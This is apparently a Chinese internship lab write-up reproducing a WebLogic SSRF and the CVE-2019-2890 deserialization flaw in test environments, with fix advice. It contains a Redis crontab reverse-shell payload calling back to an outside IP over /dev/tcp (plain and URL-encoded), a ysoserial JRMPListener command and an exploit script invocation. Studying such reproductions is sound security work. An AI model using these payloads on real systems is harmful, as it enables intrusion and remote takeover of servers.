实习记录(三) - WebLogic反序列化漏洞

Weblogic-SSRF漏洞

环境准备

• 这里直接使用Vulhub/weblogic/ssrf
• 使用以下命令启动漏洞环境，访问http://ip:7001/uddiexplorer/，可以看到uddiexplorer应用即搭建成功。

$ docker-compose up -d  # 启动

Weblogic-ssrf-1

漏洞复现

• 该漏洞位于uddiexplorer/SearchPublicRegistries.jsp，点击左侧Search Public Registries功能来到SearchPublicRegistries.jsp页面，点击Search并使用Burp抓包
• 将其中的operator参数修改为想要探测的http://IP:Port，如http://127.0.0.1:7001

Weblogic-ssrf-2

• 再访问一个不存在的端口进行测试

Weblogic-ssrf-3

• 这里有几种返回结果，因此可以根据不同的返回结果去探测内网相关信息
  • 可访问的端口，会发生错误，一般是返回状态码，如404
  • 不存在的端口，将返回could not connect over HTTP to server
  • 非HTTP协议，则会返回did not have a valid SOAP content-type

反弹Shell

通过此SSRF漏洞，还可以对目标内网中的Redis服务器进行攻击。原因是因为这里可以通过传入%0a%0d来注入换行符，而Redis是通过换行符来分隔每条命令的

• 这一步的时候发现Redis服务一直不能正常启动，报Exited (139)错误，根据Issue #46所说可能是Kali下Docker的兼容性问题，最后在VPS上重新搭建Vulhub进行复现

Weblogic-ssrf-4

• 首先通过前面的SSRF漏洞探测内网中是否存在Redis服务(默认6379端口)，Docker环境的网段一般是172.*。这里复现测试所以直接进入Redis对应的容器中查看IP

$ docker ps -a                   # 查看容器ID
$ docker exec -it <容器ID> bash  # 进入容器

Weblogic-ssrf-5

• 这里可以看到是172.19.0.2，探测一下6379端口

Weblogic-ssrf-6

• 发送Redis命令，将反弹Shell脚本写入/etc/crontab

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/47.113.106.101/20000 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

• 将Payload进行URL编码，然后直接拼接到URL后，其中%0d0a为换行符

operator=http://172.19.0.2:6379/test
%73%65%74%20%31%20%22%5c%6e%5c%6e%5c%6e%5c%6e%2a%20%2a%20%2a%20%2a%20%2a%20%72%6f%6f%74%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%30%2e%31%2f%32%30%30%30%30%20%30%3e%26%31%5c%6e%5c%6e%5c%6e%5c%6e%22%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%65%74%63%2f%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%63%72%6f%6e%74%61%62%0d%0a%73%61%76%65
test

Weblogic-ssrf-7

• 可以发现攻击机成功接到Shell

Weblogic-ssrf-7

参考

• Weblogic-SSRF漏洞复现

Weblogic-反序列化漏洞

漏洞简介

Weblogic在利用T3协议进行远程资源加载调用时，默认会进行黑名单过滤以保证反序列化安全。该漏洞通过T3协议发送恶意的反序列化数据绕过了Weblogic的黑名单，成功反序列化执行任意命令。但该漏洞利用条件较高，官方也归类为需要身份认证。

这个漏洞需要满足以下两个条件：

1. Weblogic开启T3协议
2. 可以获取到SerializedSystemIni.dat文件

• 影响版本
  • WebLogic Server 10.3.6.0
  • WebLogic Server 12.1.3.0
  • WebLogic Server 12.2.1.3

环境准备

• 靶机：Win 7（部署Weblogic），192.168.8.37
• 攻击机：Kali，192.168.8.23

漏洞复现

• 攻击机下载漏洞利用工具SukaraLin/CVE-2019-2890
• 在靶机的weblogic项目中找到SerializedSystemIni.dat文件，复制到工具目录的security目录下。文件中存在一个加密的Key，这个Key实际上每个weblogic都不一样，所以官方给这个漏洞评价为授权状态下Getshell。

Weblogic-CVE-2019-2890-1

Weblogic-CVE-2019-2890-2

• 将weblogic/wsee/jaxws/persistence/PersistentContext.java中的 getObject 修改为攻击机IP地址和端口

Weblogic-CVE-2019-2890-3

• 将ysoserial.jar移动到libs目录，执行以下命令，这里弹个计算器

$ java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8000 Jdk7u21 "calc.exe"

Weblogic-CVE-2019-2890-4

• 运行Poc.java生成poc.ser序列化文件。（这一步我是在win10环境下编译的，注意需要复制一份SerializedSystemIni文件以及修改PersistentContext.java 的IP地址端口）

Weblogic-CVE-2019-2890-5

• 最后在攻击机中运行以下命令：

$ python weblogic.py <靶机IP> <靶机端口> poc.ser

Weblogic-CVE-2019-2890-6

Weblogic-CVE-2019-2890-7

修复建议

• 如果不依赖T3协议进行JVM通信，可禁用T3协议
• 排查弱口令
• 升级补丁

参考

• WebLogic 反序列化漏洞(CVE-2019-2890)分析
• Weblogic t3反序列化漏洞(CVE-2019-2890)分析
• Weblogic-T3-CVE-2019-2890-Analysis
• SukaraLin/CVE-2019-2890